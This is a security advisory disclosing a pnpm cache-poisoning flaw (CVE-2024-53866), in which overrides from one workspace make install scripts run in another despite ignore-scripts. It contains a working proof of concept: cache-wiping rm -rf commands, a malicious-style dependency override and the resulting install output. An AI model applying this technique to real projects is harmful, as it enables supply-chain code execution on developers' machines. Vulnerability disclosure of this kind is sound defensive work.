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No-script global cache poisoning via overrides / `ignore-scripts` evasion

Moderate
zkochan published GHSA-vm32-9rqf-rh3r Dec 10, 2024

Package

npm pnpm (npm)

Affected versions

<=9.14.4

Patched versions

>=9.15.0

Description

Summary

pnpm seems to mishandle overrides and global cache:

  1. Overrides from one workspace leak into npm metadata saved in global cache
  2. npm metadata from global cache affects other workspaces
  3. installs by default don't revalidate the data (including on first lockfile generation)

This can make workspace A (even running with ignore-scripts=true) posion global cache and execute scripts in workspace B

Users generally expect ignore-scripts to be sufficient to prevent immediate code execution on install (e.g. when the tree is just repacked/bundled without executing it).

Here, that expectation is broken

Details

See PoC.

In it, overrides from a single run of A get leaked into e.g. ~/Library/Caches/pnpm/metadata/registry.npmjs.org/rimraf.json and persistently affect all other projects using the cache

PoC

Postinstall code used in PoC is benign and can be inspected in https://www.npmjs.com/package/ponyhooves?activeTab=code, it's just a console.log

  1. Remove store and cache
    On mac: rm -rf ~/Library/Caches/pnpm ~/Library/pnpm/store
    This step is not required in general, but we'll be using a popular package for PoC that's likely cached
  2. Create A/package.json: 
    {
  "name": "A",
  "pnpm": { "overrides": { "rimraf>glob": "npm:ponyhooves@1" } },
  "dependencies": { "rimraf": "6.0.1" }
}
    Install it with pnpm i --ignore-scripts (the flag is not required, but the point of the demo is to show that it doesn't help)
  3. Create B/package.json: 
    {
  "name": "B",
  "dependencies": { "rimraf": "6.0.1" }
}
    Install it with pnpm i

Result:

Packages: +3
+++
Progress: resolved 3, reused 3, downloaded 0, added 3, done
node_modules/.pnpm/ponyhooves@1.0.1/node_modules/ponyhooves: Running postinstall script, done in 51ms

dependencies:
+ rimraf 6.0.1

Done in 1.4s

Also, that code got leaked into another project and it's lockfile now!

Impact

Global state integrity is lost via operations that one would expect to be secure, enabling subsequently running arbitrary code execution on installs

As a work-around, use separate cache and store dirs in each workspace

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity High
Attack Requirements Present
Privileges Required None
User interaction Passive
Vulnerable System Impact Metrics
Confidentiality None
Integrity Low
Availability None
Subsequent System Impact Metrics
Confidentiality High
Integrity High
Availability High

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:N/VI:L/VA:N/SC:H/SI:H/SA:H

CVE ID

CVE-2024-53866

Weaknesses

No CWEs

Credits